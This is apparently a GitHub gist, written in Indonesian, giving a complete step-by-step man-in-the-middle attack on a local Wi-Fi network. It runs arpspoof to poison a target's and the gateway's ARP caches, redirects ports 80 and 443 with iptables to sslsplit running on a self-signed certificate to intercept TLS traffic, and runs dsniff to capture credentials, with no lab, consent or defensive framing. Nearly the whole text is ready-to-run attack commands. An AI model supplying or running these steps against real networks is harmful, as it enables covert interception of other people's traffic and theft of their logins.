Skip to content

Instantly share code, notes, and snippets.

@z0rs
Last active December 8, 2024 04:41
Show Gist options
  • Save z0rs/1b83e5944e0c1801ad1e5706817b7c2e to your computer and use it in GitHub Desktop.
Save z0rs/1b83e5944e0c1801ad1e5706817b7c2e to your computer and use it in GitHub Desktop.

Dalam kasus ini, interface yang aktif adalah wlp2s0 dengan IP 192.168.8.2(ip addr) dan gateway 192.168.8.1 (ip route show).

Step 1: Install Tools

Pastikan arpspoof, sslsplit, dan dsniff. Ini biasanya tersedia di Arch Linux.

sudo pacman -S dsniff sslsplit

Step 2: ARP Spoofing

  1. Enable IP forwarding:

    echo 1 > /proc/sys/net/ipv4/ip_forward
  2. ARP spoofing: Jalankan arpspoof buat ngerusak ARP cache di target dan gateway.

    arpspoof -i wlp2s0 -t [target IP] -r 192.168.8.1

    Contoh (misal target IP adalah 192.168.8.5):

    arpspoof -i wlp2s0 -t 192.168.8.5 -r 192.168.8.1

Step 3: SSL Splitting

  1. Setup iptables: Redirect traffic dari port 80 dan 443 ke port 8080 (port default sslsplit).

    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
  2. Jalankan sslsplit:

    Kamu perlu sertifikat dan kunci privat untuk SSL stripping. Bisa bikin sendiri pake openssl:

    openssl genrsa -out cert.key 2048
    openssl req -new -x509 -key cert.key -out cert.crt -days 365

    Lalu, jalankan sslsplit:

    sslsplit -D -l /tmp/sslsplit.log -S /tmp/ -k /path/to/cert.key -c /path/to/cert.crt https 0.0.0.0 8080

Step 4: Sniffing dengan dsniff

  1. Jalankan dsniff: Gunakan dsniff buat capture credential dan informasi sensitif yang lewat di jaringan.

    dsniff -i wlp2s0

Step 5: Monitor Traffic

  1. Capture traffic: Kamu juga bisa pakai tcpdump atau Wireshark buat ngelihat traffic yang masuk.

    tcpdump -i wlp2s0

Step 6: Cleanup

  1. Disable IP forwarding:

    echo 0 > /proc/sys/net/ipv4/ip_forward
  2. Flush iptables rules:

    iptables -t nat -F
  3. Stop arpspoof dan dsniff: Tekan Ctrl + C di terminal tempat kamu jalanin arpspoof dan dsniff.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment